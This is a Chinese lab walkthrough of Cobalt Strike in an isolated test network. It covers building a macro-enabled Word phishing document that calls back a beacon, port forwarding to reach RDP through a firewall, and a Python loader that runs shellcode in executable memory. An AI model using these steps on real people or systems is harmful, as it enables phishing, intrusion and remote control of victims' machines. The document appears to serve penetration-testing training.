CobaltStrike之宏钓鱼及shellcode 实验详细

预备知识

CobaltStrike是一款渗透测试神器,常被业界人称为CS神器。CobaltStrike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。  

CobaltStrike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。 

实验目的

通过该实验了解CS的office宏钓鱼,端口转发及shellcode生成。  

实验地址

https://www.hetianlab.com/expc.do?ce=d9293b3a-2e97-4ad9-a907-69a9597b1be0

实验环境

服务器:kali,IP地址:10.1.1.100

靶机:win7 ,IP地址:10.1.1.200

辅助工具:win7上安装office

实验步骤一

启动cs服务器

./teamserver 10.1.1.100 password

客户端连入服务器

Java  -XX:+AggressiveHeap  -XX:+UseParallelGC  -jar
cobaltstrike.jar

创建监听器

生成office宏病毒

attacks->packages->ms office macro
选择刚刚创建好的listener,点击Generate

  点击copy macro
   这时候宏代码已经被复制了
   我们首先创建一个1.txt,把代码粘贴进去

保存并退出
将其拷贝到网站根目录下
cp  1.txt  /var/www/html/1.txt

然后启动apache
service  apache2  start

利用宏病毒上线CS

生成宏文件

使用浏览器访问 10.1.1.100/1.txt

将这些代码全选复制

然后新建一个office word

视图->宏->查看宏

  宏名处随意输入,点击创建

Project-microsoftword对象-thisdocument

粘贴之前生成的代码

另存为,注意保存类型选择启用宏的文档

点击保存后生成了钓鱼文件

利用成功

打开钓鱼文件,即可在攻击机上线beacon

excel也是一样的,请自行实验

实验步骤二

如果拿到一台内网机器,想要能够进行远程桌面链接,但是默认远程端口3389被防火墙阻止,可以通过端口转发,CS已经内置了这个功能

输入下列命令:

rportfwd 389 10.1.1.200 3389

即可通过389端口远程桌面了。

实验步骤三

CS可以生成很多类型的shellcode,但是拿到shellcode怎么使用呢?Powershell很简单,在win的powershell环境下就可以使用了,C/c++的也很成熟了,这里就介绍一种常用的语言python,看看python类型的shellcode如何使用。

Attacks->package->paylaod generator

选择监听器demo,选择python,x64视情况勾选,这里我得靶机位x32,所以不用勾选

生成的shellcode为:

启动kali上apache服务

然后将python文件移动到网站根目录下
cp payload.py /var/www/html/1.py
访问靶机使用浏览器访问对应地址,即可得到payload

新建一个python脚本,填写上面得到的shellcode
import ctypes

shellcode =  ""

rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

保存后退出运行
 python C:
 \Users\Administrator\Desktop\1.py

此时在kali上就拿到beacon了

猜你喜欢

转载自blog.csdn.net/weixin_44971640/article/details/128835087